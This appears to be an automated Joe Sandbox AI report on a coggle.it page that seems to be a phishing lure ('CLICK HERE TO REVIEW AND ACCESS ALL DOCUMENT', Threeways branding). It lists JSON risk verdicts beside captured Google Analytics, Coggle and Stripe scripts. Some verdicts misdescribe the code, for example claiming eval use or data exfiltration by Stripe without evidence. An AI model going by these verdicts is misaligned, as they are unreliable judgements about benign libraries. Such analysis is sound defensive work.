| URL: https://coggle.it Model: Joe Sandbox AI | {
"typosquatting": false,
"unusual_query_string": false,
"suspicious_tld": false,
"ip_in_url": false,
"long_subdomain": false,
"malicious_keywords": false,
"encoded_characters": false,
"redirection": false,
"contains_email_address": false,
"known_domain": true,
"brand_spoofing_attempt": false,
"third_party_hosting": false
} |
URL: https://coggle.it |
| URL: https://www.google-analytics.com/plugins/ua/linkid... Model: Joe Sandbox AI | {
"risk_score": 4,
"reasoning": "The script appears to be a Google Analytics plugin that tracks user interactions on the page. While it uses some legacy practices like `XDomainRequest`, the overall behavior is consistent with typical analytics functionality. However, the script sets a persistent cookie to track user interactions, which could be considered moderately aggressive behavior. Further review may be needed to ensure the script is not collecting or transmitting sensitive user data."
} |
(function(){var e=window,h=document,k="replace";var m=function(a,c,d,b,g){c=encodeURIComponent(c)[k](/\(/g,"%28")[k](/\)/g,"%29");a=a+"="+c+"; path="+(d||"/")+"; ";g&&(a+="expires="+(new Date((new Date).getTime()+g)).toGMTString()+"; ");b&&"none"!=b&&(a+="domain="+b+";");b=h.cookie;h.cookie=a;return b!=h.cookie},p=function(a){var c=h.body;try{c.addEventListener?c.addEventListener("click",a,!1):c.attachEvent&&c.attachEvent("onclick",a)}catch(d){}};var q=function(a,c,d,b){this.get=function(){for(var b=void 0,c=[],d=h.cookie.split(";"),l=new RegExp("^\\s*"+a+"=\\s*(.*?)\\s*$"),f=0;f<d.length;f++){var n=d[f].match(l);n&&c.push(decodeURIComponent(n[1][k](/%28/g,"(")[k](/%29/g,")")))}for(d=0;d<c.length;d++)c[d]&&(b=c[d]);return b};this.set=function(g){return m(a,g,b,c,1E3*d)};this.remove=function(){return m(a,"",b,c,-100)}};var t=function(a,c){var d=void 0;if("function"==typeof a.get&&"function"==typeof a.set){var b=c||{},g=b.hasOwnProperty("cookieName")?b.cookieName:"_gali",r=b.hasOwnProperty("cookieTimeout")?b.cookieTimeout:30,s=b.hasOwnProperty("levels")?b.levels:3,b=a.get("cookieDomain"),l=a.get("cookiePath"),f=new q(g,b,r,l);d||(d=f.get());d&&a.set("&linkid",d);p(function(a){a=a||e.event;a=a.target||a.srcElement;for(var b,c=0;a&&c<=s;c++){if(b=a.getAttribute("id")){a=b;100<a.length?f.remove():a?f.set(a):f.remove();
return}a=a.parentElement}f.remove()})}};(function(){e.gaplugins=e.gaplugins||{};e.gaplugins.LinkId=t;var a=e.GoogleAnalyticsObject||"ga";e[a]=e[a]||function(){(e[a].q=e[a].q||[]).push(arguments)};e[a]("provide","linkid",t)})();})();
|
| URL: https://static.coggle.it/assets/runtime.17018981bc... Model: Joe Sandbox AI | {
"risk_score": 6,
"reasoning": "The provided JavaScript snippet exhibits several behaviors that raise moderate security concerns. It includes dynamic code execution through the use of the `eval` function, which can be a high-risk indicator. Additionally, it sends data to external domains, which could potentially lead to data exfiltration. The script also uses obfuscated code, which can be a sign of malicious intent. While the script may have legitimate purposes, such as analytics or telemetry, the combination of these behaviors warrants further investigation and a medium-risk score."
} |
(()=>{"use strict";var e,r,t,o={},i={};function n(e){var r=i[e];if(void 0!==r)return r.exports;var t=i[e]={id:e,loaded:!1,exports:{}};return o[e].call(t.exports,t,t.exports,n),t.loaded=!0,t.exports}n.m=o,n.amdD=function(){throw new Error("define cannot be used indirect")},n.amdO={},e=[],n.O=(r,t,o,i)=>{if(!t){var a=1/0;for(l=0;l<e.length;l++){for(var[t,o,i]=e[l],f=!0,c=0;c<t.length;c++)(!1&i||a>=i)&&Object.keys(n.O).every((e=>n.O[e](t[c])))?t.splice(c--,1):(f=!1,i<a&&(a=i));if(f){e.splice(l--,1);var d=o();void 0!==d&&(r=d)}}return r}i=i||0;for(var l=e.length;l>0&&e[l-1][2]>i;l--)e[l]=e[l-1];e[l]=[t,o,i]},n.d=(e,r)=>{for(var t in r)n.o(r,t)&&!n.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},n.f={},n.e=e=>Promise.all(Object.keys(n.f).reduce(((r,t)=>(n.f[t](e,r),r)),[])),n.u=e=>"assets/"+({315:"exporters",472:"settings",723:"doclist",814:"org-views"}[e]||e)+"-"+{315:"2d014b24b0fab052",472:"5a438b435338fc4a",723:"1f44466bb003bc2b",814:"4af5d58b82093e55",850:"150f643a25ee3985"}[e]+".js",n.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),n.o=(e,r)=>Object.prototype.hasOwnProperty.call(e,r),r={},t="coggle-frontend:",n.l=(e,o,i,a)=>{if(r[e])r[e].push(o);else{var f,c;if(void 0!==i)for(var d=document.getElementsByTagName("script"),l=0;l<d.length;l++){var u=d[l];if(u.getAttribute("src")==e||u.getAttribute("data-webpack")==t+i){f=u;break}}f||(c=!0,(f=document.createElement("script")).charset="utf-8",f.timeout=120,n.nc&&f.setAttribute("nonce",n.nc),f.setAttribute("data-webpack",t+i),f.src=e),r[e]=[o];var s=(t,o)=>{f.onerror=f.onload=null,clearTimeout(v);var i=r[e];if(delete r[e],f.parentNode&&f.parentNode.removeChild(f),i&&i.forEach((e=>e(o))),t)return t(o)},v=setTimeout(s.bind(null,void 0,{type:"timeout",target:f}),12e4);f.onerror=s.bind(null,f.onerror),f.onload=s.bind(null,f.onload),c&&document.head.appendChild(f)}},n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.nmd=e=>(e.paths=[],e.children||(e.children=[]),e),n.p="https://static.coggle.it/",(()=>{n.b=document.baseURI||self.location.href;var e={121:0};n.f.j=(r,t)=>{var o=n.o(e,r)?e[r]:void 0;if(0!==o)if(o)t.push(o[2]);else if(121!=r){var i=new Promise(((t,i)=>o=e[r]=[t,i]));t.push(o[2]=i);var a=n.p+n.u(r),f=new Error;n.l(a,(t=>{if(n.o(e,r)&&(0!==(o=e[r])&&(e[r]=void 0),o)){var i=t&&("load"===t.type?"missing":t.type),a=t&&t.target&&t.target.src;f.message="Loading chunk "+r+" failed.\n("+i+": "+a+")",f.name="ChunkLoadError",f.type=i,f.request=a,o[1](f)}}),"chunk-"+r,r)}else e[r]=0},n.O.j=r=>0===e[r];var r=(r,t)=>{var o,i,[a,f,c]=t,d=0;if(a.some((r=>0!==e[r]))){for(o in f)n.o(f,o)&&(n.m[o]=f[o]);if(c)var l=c(n)}for(r&&r(t);d<a.length;d++)i=a[d],n.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return n.O(l)},t=self.webpackChunkcoggle_frontend=self.webpackChunkcoggle_frontend||[];t.forEach(r.bind(null,0)),t.push=r.bind(null,t.push.bind(t))})()})();
//# sourceMappingURL=runtime.17018981bca2914e.js.map
|
| URL: https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6... Model: Joe Sandbox AI | {
"risk_score": 2,
"reasoning": "The provided JavaScript snippet appears to be a legitimate Google Analytics tracking implementation. It checks the URL query string for a 'print=1' parameter and disables the analytics tracking if it is present, likely to avoid tracking print views. The script uses standard Google Analytics APIs and does not exhibit any high-risk behaviors. While it uses some legacy practices like `XDomainRequest`, the overall intent and implementation seem benign."
} |
if(window.location.search.substring(1,8) !== 'print=1'){
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a['src']=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-37982251-1', 'auto');
ga('require', 'linkid', 'linkid.js');
ga('set', 'anonymizeIp', true);
ga('set', 'location', window.location.href.replace(/\/t\/[^\/]*/, ''));
ga('set', 'title', 'Coggle');
ga('send', 'pageview');
}else{
window.ga = function(){};
}
|
| URL: https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/threeways-garage-limited/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526 Model: Joe Sandbox AI | {
"contains_trigger_text": true,
"trigger_text": "CLICK HERE TO REVIEW AND ACCESS ALL DOCUMENT",
"prominent_button_name": "CLICK HERE TO REVIEW AND ACCESS ALL DOCUMENT",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
} |
 |
| URL: https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/threeways-garage-limited/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526 Model: Joe Sandbox AI | {
"brands": [
"Threeways"
]
} |
|
| URL: https://js.stripe.com/v3/... Model: Joe Sandbox AI | {
"risk_score": 7,
"reasoning": "This script exhibits several high-risk behaviors, including data exfiltration and the use of obfuscated code. While it may have some legitimate functionality, such as analytics or tracking, the overall risk level is elevated due to the suspicious nature of the script."
} |
!function(){function e(t){var n=o[t];if(void 0!==n)return n.exports;var i=o[t]={id:t,loaded:!1,exports:{}};return r[t](i,i.exports,e),i.loaded=!0,i.exports}var t,n,r={723:function(e,t,n){"use strict";function r(e){l.length||(a(),!0),l[l.length]=e}function o(){for(;d<l.length;){var e=d;if(d+=1,l[e].call(),d>1024){for(var t=0,n=l.length-d;t<n;t++)l[t]=l[t+d];l.length-=d,d=0}}l.length=0,d=0,!1}function i(e){return function(){function t(){clearTimeout(n),clearInterval(r),e()}var n=setTimeout(t,0),r=setInterval(t,50)}}e.exports=r;var a,c,s,u,l=[],d=0,p=void 0!==n.g?n.g:self,m=p.MutationObserver||p.WebKitMutationObserver;"function"==typeof m?(c=1,s=new m(o),u=document.createTextNode(""),s.observe(u,{characterData:!0}),a=function(){c=-c,u.data=c}):a=i(o),r.requestFlush=a,r.makeRequestCallFromTimer=i},5937:function(e,t,n){e.exports=n.p+"fingerprinted/img/abnamro-4445e65420800f96f68cfc67a273f66b.svg"},1520:function(e,t,n){e.exports=n.p+"fingerprinted/img/asn-3d9b1bbff2f8f12105510992dbb37ae8.svg"},3089:function(e,t,n){e.exports=n.p+"fingerprinted/img/bunq-4b42e7fb68fac0c5abb7ba3492115d81.svg"},8256:function(e,t,n){e.exports=n.p+"fingerprinted/img/ing-f4beb9f58834a82babe38427cec0ba95.svg"},4223:function(e,t,n){e.exports=n.p+"fingerprinted/img/knab-dbdf61d58d3004c23573158cb91e9569.svg"},6863:function(e,t,n){e.exports=n.p+"fingerprinted/img/n26-5ad3e0ae7677208c845a3b81e42bdd0e.svg"},6628:function(e,t,n){e.exports=n.p+"fingerprinted/img/nn-ef0da4b36142c28718ad24baedc58453.svg"},9824:function(e,t,n){e.exports=n.p+"fingerprinted/img/rabobank-dc5187e8413419975fda9a72a08c25a3.svg"},3260:function(e,t,n){e.exports=n.p+"fingerprinted/img/regiobank-d3d9929a79d4e6a127e09ea8abe201b9.svg"},4975:function(e,t,n){e.exports=n.p+"fingerprinted/img/revolut-bbd51dde92fa137e0060ac6210978827.svg"},4481:function(e,t,n){e.exports=n.p+"fingerprinted/img/sns-bfdac0e49115f2f30c9fe978b5221531.svg"},3381:function(e,t,n){e.exports=n.p+"fingerprinted/img/triodos-cf5d13d3dea9d1250d2b51a8eb0b53e8.svg"},3181:function(e,t,n){e.exports=n.p+"fingerprinted/img/vanlanschot-2b1bf938febce9173fe10ff6265e9657.svg"},2142:function(e,t,n){e.exports=n.p+"fingerprinted/img/yoursafe-c3cd00e5634e9c380c28ffe985359728.svg"},5584:function(e,t,n){e.exports=n.p+"fingerprinted/img/CitibankLogo-78480c77462a60a4b947afa68103eeb2.svg"},9098:function(e,t,n){e.exports=n.p+"fingerprinted/img/CompassLogo-deb285edc2544392b5e8312552670f3d.svg"},4769:function(e,t,n){e.exports=n.p+"fingerprinted/img/NavyFederalCreditUnionLogo-d9bc60bbdbe9ae0b1de004332c0ac5c3.svg"},8778:function(e,t,n){e.exports=n.p+"fingerprinted/img/SVBLogo-a98ea327388a832a6f6608656086126c.svg"},161:function(e,t,n){e.exports=n.p+"fingerprinted/img/SuntrustLogo-1c62006661a287065c3df3572a091ba2.svg"},9757:function(e,t,n){e.exports=n.p+"fingerprinted/img/TDLogo-19c4074f388ea4ae4bad3574087cdafa.svg"},6119:function(e,t,n){e.exports=n.p+"fingerprinted/img/USAALogo-c03c680bb70106cbba083a46f5ec5594.svg"},2531:function(e,t,n){e.exports=n.p+"fingerprinted/img/USBankLogo-d95f3a6cdfc55215ddf752f5e034a548.svg"},3407:function(e,t,n){e.exports=n.p+"fingerprinted/img/amex-3440dd14f9308959e71dfef65267235f.svg"},8037:function(e,t,n){e.exports=n.p+"fingerprinted/img/mastercard-4868931ddf88ab0fc551d18a1a859ff7.svg"},3637:function(e,t,n){e.exports=n.p+"fingerprinted/img/visa-0daded1e4b9a21ae5304a6794bb9e46a.svg"},7418:function(e){"use strict";function t(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}var n=Object.getOwnPropertySymbols,r=Object.prototype.hasOwnProperty,o=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object |
| URL: https://m.stripe.network/inner.html#url=https%3A%2... Model: Joe Sandbox AI | {
"risk_score": 6,
"reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and potential tracking functionality. While the script appears to be related to Stripe payment processing, the use of dynamic message handling and lack of transparency around the data being sent raises some concerns. Further review of the script's purpose and the domains it interacts with would be necessary to determine the overall risk level."
} |
!function(){var e=document.createElement("script");e.defer=!0,e.src="out-4.5.44.js",e.onload=function(){var e;window.StripeM&&(e=window.location.hash,/ping=false/.test(e)||(e=(e=e.match(/version=(4|6)/))?e[1]:"4",window.StripeM.p({t:!0,v:e})),e=function(e){if(window.opener||window.parent||window)try{var i=((t=JSON.parse(e.data)).message||t).action,t=t.message?t.message.payload:t;switch(i){case"ping":window.StripeM.p({t:!0,o:{muid:t.muid,sid:t.sid,referrer:t.referrer,url:t.url,title:t.title,v2:t.v2},v:t.version||"4"});break;case"track":if(!t.source||!t.data)return;window.StripeM.b({muid:t.muid,sid:t.sid,url:t.url,source:t.source,data:t.data},t.version||"4")}}catch(e){}},window.addEventListener?window.addEventListener("message",e,!1):window.attachEvent("onMessage",e))},document.body.appendChild(e)}()
|
| URL: https://js.stripe.com/v3/fingerprinted/js/controll... Model: Joe Sandbox AI | {
"risk_score": 3,
"reasoning": "The provided JavaScript snippet appears to be a module loader or bundler, which is a common and legitimate practice in modern web development. It does not contain any high-risk indicators like dynamic code execution, data exfiltration, or suspicious redirects. The code seems to be loading various country data files, which is likely for localization or internationalization purposes. While it uses some legacy APIs like `XDomainRequest`, this is a low-risk indicator and the overall behavior is consistent with typical web application functionality. Therefore, this script is assessed as low risk."
} |
!function(){function e(t){var n=i[t];if(void 0!==n)return n.exports;var r=i[t]={id:t,loaded:!1,exports:{}};return a[t](r,r.exports,e),r.loaded=!0,r.exports}var t,n,r,a={94184:function(e,t){var n;!function(){"use strict";function r(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var i=typeof n;if("string"===i||"number"===i)e.push(n);else if(Array.isArray(n)&&n.length){var o=r.apply(null,n);o&&e.push(o)}else if("object"===i)for(var s in n)a.call(n,s)&&n[s]&&e.push(s)}}return e.join(" ")}var a={}.hasOwnProperty;e.exports?(r.default=r,e.exports=r):void 0===(n=function(){return r}.apply(t,[]))||(e.exports=n)}()},62322:function(e,t,n){e.exports=n.p+"fingerprinted/data/countryRanges-da252f255fed0fefce3e3b3c60707e3d.json"},8464:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_ar-7995ee218dfd37546f754bd73b67e2cc.json"},90342:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_bg-c9f7496faecf6cafdeb3cf831b179cc8.json"},32726:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_cs-915e85912aa04ad63a5584feb0fc8bb0.json"},3120:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_da-adb3ee60351423c264b632973d03ed53.json"},7689:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_de-2b6b5f5d41f3e43a04030cea94edb8d1.json"},96250:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_el-a04fc1046c60760d5f4db7cc854ae683.json"},96889:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_en-GB-919c91fad2788750937cae126d4af487.json"},23030:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_es-419-1582431feda14a4d627b0a371024d18e.json"},54613:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_es-0c588d4d6449e3a2b4d51f68184e2a79.json"},16973:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_et-8708475e6ad83fae45d078a2dbe65db0.json"},40724:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_fi-79b9d3b22bc927ff175a2b7789d1bc1b.json"},71060:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_fil-5a27be13ab8b8967120518414fa334a0.json"},12875:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_fr-CA-f6925dfb1246de74780941ee066dd4c4.json"},60919:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_fr-0e37ccdb379b2077b2778bc2b50c3d9a.json"},10378:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_he-383873fa83b3f0563818f2b4028efb2e.json"},5427:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_hr-e94ea4c33ce03cad056cdad9fac3fcd0.json"},59291:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_hu-c9ae651a44b2b8863e45d74c22cdb8a2.json"},41713:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_id-33a99764a59a0b733f2ff91e6205fa33.json"},48173:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_it-8db847e5ca071da136659bc0bb4fdbfc.json"},43596:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_ja-253b6ab1d15e7f2803f4a93763c9b478.json"},97750:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_ko-1650cc6afc15806adb8278fcc0b14638.json"},2901:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_lt-06e7da2f01df9bdbfacaf16888891655.json"},54581:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_lv-efe906c78e152688135b28b763767e35.json"},53763:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_ms-263f626611972c4aa3a61ddf3dc84807.json"},61685:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_mt-39127973b49fd7b047fda36bd20f78b2.json"},83389:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_nb-119c16f73621c459a1709635b23076f5.json"},39156:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_nl-000477773d66b87bd2934f8b2522e643.json"},53556:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_pl-4383dc0c911ce720674835b1bba58bf0.json"},47126:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_pt-BR-eddd788ff5214ba9e31e71093eaa9626.json"},527:function(e,t,n){e.exports=n.p+"fingerprinted/data/countries_pt-eddd788ff5214ba9e31e71 |
| URL: https://js.stripe.com/v3/fingerprinted/js/m-outer-... Model: Joe Sandbox AI | {
"risk_score": 4,
"reasoning": "The script appears to be a legitimate integration with the Stripe payment platform, but it exhibits some moderate-risk behaviors that warrant further review. The script dynamically creates an iframe and listens for messages from the iframe, which could potentially be used for data exfiltration or other malicious purposes. Additionally, the script uses the `window.attachEvent` method, which is a legacy practice. Overall, the script seems to have a legitimate purpose, but the implementation could be improved to reduce potential risks."
} |
!function(){"use strict";var e="https://m.stripe.network",n=window.location.hash,t=/preview=true/.test(n)?"inner-preview.html":"inner.html",o=document.createElement("iframe");o.src="".concat(e,"/").concat(t).concat(n);var i=function(n){if(n.origin===e){var t=window.opener||window.parent||window;if(!t)return;t.postMessage(n.data,"*")}else o.contentWindow.postMessage(n.data,"*")};window.addEventListener?window.addEventListener("message",i,!1):window.attachEvent("onMessage",i),document.body&&document.body.appendChild(o)}();
|
| URL: https://js.stripe.com/v3/fingerprinted/js/shared-b... Model: Joe Sandbox AI | {
"risk_score": 3,
"reasoning": "The provided JavaScript snippet appears to be a part of the Stripe.js library, which is a legitimate payment processing service. While it contains some behaviors that could be considered moderate-risk, such as external data transmission and aggressive DOM manipulation, these are likely part of the normal functionality of the library and not indicative of malicious intent. The snippet does not contain any high-risk indicators like dynamic code execution or data exfiltration. Additionally, the use of Stripe.com, a well-known and trusted domain, further suggests this is a legitimate script. Overall, the risk score is assessed as 3 (low risk)."
} |
(window.webpackChunkStripeJSinner=window.webpackChunkStripeJSinner||[]).push([[3712],{10723:function(e,t,n){"use strict";function a(e){c.length||(i(),!0),c[c.length]=e}function o(){for(;p<c.length;){var e=p;if(p+=1,c[e].call(),p>1024){for(var t=0,n=c.length-p;t<n;t++)c[t]=c[t+p];c.length-=p,p=0}}c.length=0,p=0,!1}function r(e){return function(){function t(){clearTimeout(n),clearInterval(a),e()}var n=setTimeout(t,0),a=setInterval(t,50)}}e.exports=a;var i,u,s,l,c=[],p=0,d=void 0!==n.g?n.g:self,m=d.MutationObserver||d.WebKitMutationObserver;"function"==typeof m?(u=1,s=new m(o),l=document.createTextNode(""),s.observe(l,{characterData:!0}),i=function(){u=-u,l.data=u}):i=r(o),a.requestFlush=i,a.makeRequestCallFromTimer=r},64198:function(e,t,n){var a=n(12897);e.exports=a},14771:function(e,t,n){n(80290);var a=n(5379);e.exports=a("Array","fill")},9554:function(e,t,n){var a=n(64198);e.exports=a},24883:function(e,t,n){var a=n(57475),o=n(69826),r=TypeError;e.exports=function(e){if(a(e))return e;throw r(o(e)+" is not a function")}},18479:function(e){e.exports=function(){}},96059:function(e,t,n){var a=n(10941),o=String,r=TypeError;e.exports=function(e){if(a(e))return e;throw r(o(e)+" is not an object")}},91860:function(e,t,n){"use strict";var a=n(89678),o=n(59413),r=n(10623);e.exports=function(e){for(var t=a(this),n=r(t),i=arguments.length,u=o(i>1?arguments[1]:void 0,n),s=i>2?arguments[2]:void 0,l=void 0===s?n:o(s,n);l>u;)t[u++]=e;return t}},82532:function(e,t,n){var a=n(95329),o=a({}.toString),r=a("".slice);e.exports=function(e){return r(o(e),8,-1)}},32029:function(e,t,n){var a=n(55746),o=n(65988),r=n(31887);e.exports=a?function(e,t,n){return o.f(e,t,r(1,n))}:function(e,t,n){return e[t]=n,e}},31887:function(e){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},75609:function(e,t,n){var a=n(21899),o=Object.defineProperty;e.exports=function(e,t){try{o(a,e,{value:t,configurable:!0,writable:!0})}catch(n){a[e]=t}return t}},55746:function(e,t,n){var a=n(95981);e.exports=!a((function(){return 7!=Object.defineProperty({},1,{get:function(){return 7}})[1]}))},76616:function(e){var t="object"==typeof document&&document.all,n=void 0===t&&void 0!==t;e.exports={all:t,IS_HTMLDDA:n}},61333:function(e,t,n){var a=n(21899),o=n(10941),r=a.document,i=o(r)&&o(r.createElement);e.exports=function(e){return i?r.createElement(e):{}}},2861:function(e){e.exports="undefined"!=typeof navigator&&String(navigator.userAgent)||""},53385:function(e,t,n){var a,o,r=n(21899),i=n(2861),u=r.process,s=r.Deno,l=u&&u.versions||s&&s.version,c=l&&l.v8;c&&(o=(a=c.split("."))[0]>0&&a[0]<4?1:+(a[0]+a[1])),!o&&i&&(!(a=i.match(/Edge\/(\d+)/))||a[1]>=74)&&(a=i.match(/Chrome\/(\d+)/))&&(o=+a[1]),e.exports=o},5379:function(e,t,n){var a=n(626);e.exports=a},76887:function(e,t,n){"use strict";var a=n(21899),o=n(79730),r=n(97484),i=n(57475),u=n(49677).f,s=n(37252),l=n(54058),c=n(86843),p=n(32029),d=n(90953),m=function(e){var t=function(n,a,r){if(this instanceof t){switch(arguments.length){case 0:return new e;case 1:return new e(n);case 2:return new e(n,a)}return new e(n,a,r)}return o(e,this,arguments)};return t.prototype=e.prototype,t};e.exports=function(e,t){var n,o,y,_,b,h,f,g,k,v=e.target,w=e.global,A=e.stat,P=e.proto,E=w?a:A?a[v]:(a[v]||{}).prototype,S=w?l:l[v]||p(l,v,{})[v],L=S.prototype;for(_ in t)o=!(n=s(w?_:v+(A?".":"#")+_,e.forced))&&E&&d(E,_),h=S[_],o&&(f=e.dontCallGetSet?(k=u(E,_))&&k.value:E[_]),b=o&&f?f:t[_],o&&typeof h==typeof b||(g=e.bind&&o?c(b,a):e.wrap&&o?m(b):P&&i(b)?r(b):b,(e.sham||b&&b.sham||h&&h.sham)&&p(g,"sham",!0),p(S,_,g),P&&(d(l,y=v+"Prototype")||p(l,y,{}),p(l[y],_,b),e.real&&L&&(n||!L[_])&&p(L,_,b)))}},95981:function(e){e.exports=function(e){try{return!!e()}catch(e){return!0}}},79730:function(e,t,n){var a=n(18285),o=Function.prototype,r=o.apply,i=o.call;e.exports="object"==typeof Reflect&&Reflect.apply||(a?i.bind(r):function(){return i.apply(r,arguments)})},86843:function(e,t,n){var a=n(97484),o=n(24883),r=n(18285),i=a(a.bind); |
| URL: https://m.stripe.network/out-4.5.44.js... Model: Joe Sandbox AI | ```json
{
"risk_score": 1,
"reasoning": "The script appears to be a module loader with no high-risk behaviors such as dynamic code execution or data exfiltration. It uses some legacy practices and has a pattern of aggressive DOM manipulation, but these are not inherently malicious. The script does not interact with any suspicious domains or exhibit any obfuscation, suggesting a low risk."
} |
var StripeM=function(e){var t={};function n(r){if(t[r])return t[r].exports;var _=t[r]={i:r,l:!1,exports:{}};return e[r].call(_.exports,_,_.exports,n),_.l=!0,_.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var _ in e)n.d(r,_,function(t){return e[t]}.bind(null,_));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=30)}([function(e,t,n){"use strict";(function(e){n.d(t,"a",(function(){return i})),n.d(t,"d",(function(){return c})),n.d(t,"f",(function(){return u})),n.d(t,"b",(function(){return a})),n.d(t,"e",(function(){return f})),n.d(t,"c",(function(){return l}));var r=n(1),_=n(13);function o(e){return o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o(e)}var i=m("win").Promise||m("PPromise");function c(){var e=m("win").performance;return e&&e.now?e.now():Date.now()}function u(e){var t=m("now")();return{result:e(),duration:m("now")()-t}}function a(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"sessionStorage";this.storage=null;try{window[e]&&(window[e].setItem("1","1"),window[e].getItem("1"),this.storage=window[e])}catch(e){}}function f(e,t){if(e){var n=e.slice(1).split("&").filter((function(e){return-1!==e.indexOf(t+"=")}))[0];if(n)return decodeURIComponent(n.split("=")[1])||""}return""}m("MStorage").prototype.get=function(e){return this.storage&&this.storage.getItem(e)},m("MStorage").prototype.set=function(e,t){return this.storage&&this.storage.setItem(e,t)};var s=/^{"muid":"[\w-]+","guid":"[\w-]+","sid":"[\w-]+"}$/m,l=function(e){return"string"==typeof e&&m("MSG_REGEX").test(e)};function y(){try{if(e)return e}catch(e){try{if(window)return window}catch(e){return this}}}var E,h=null;function v(){if(null===h){var e=y();e.__$$GLOBAL_REWIRE_NEXT_MODULE_ID__||(e.__$$GLOBAL_REWIRE_NEXT_MODULE_ID__=0),h=__$$GLOBAL_REWIRE_NEXT_MODULE_ID__++}return h}function d(){var e=y();return e.__$$GLOBAL_REWIRE_REGISTRY__||(e.__$$GLOBAL_REWIRE_REGISTRY__=Object.create(null)),e.__$$GLOBAL_REWIRE_REGISTRY__}function b(){var e=v(),t=d(),n=t[e];return n||(t[e]=Object.create(null),n=t[e]),n}(E=y()).__rewire_reset_all__||(E.__rewire_reset_all__=function(){E.__$$GLOBAL_REWIRE_REGISTRY__=Object.create(null)});var R="__INTENTIONAL_UNDEFINED__",p={};function m(e){var t=b();if(void 0===t[e])return function(e){switch(e){case"win":return r.f;case"PPromise":return _.a;case"now":return c;case"MStorage":return a;case"MSG_REGEX":return s}return}(e);var n=t[e];return n===R?void 0:n}function O(e,t){var n=b();return"object"===o(e)?(Object.keys(e).forEach((function(t){n[t]=e[t]})),function(){Object.keys(e).forEach((function(t){L(e)}))}):(n[e]=void 0===t?R:t,function(){L(e)})}function L(e){var t=b();delete t[e],0==Object.keys(t).length&&delete d()[v]}function I(e){var t=b(),n=Object.keys(e),r={};function _(){n.forEach((function(e){t[e]=r[e]}))}return function(o){n.forEach((function(n){r[n]=t[n],t[n]=e[n]}));var i=o();return i&&"function"==typeof i.then?i.then(_).catch(_):_(),i}}!function(){function 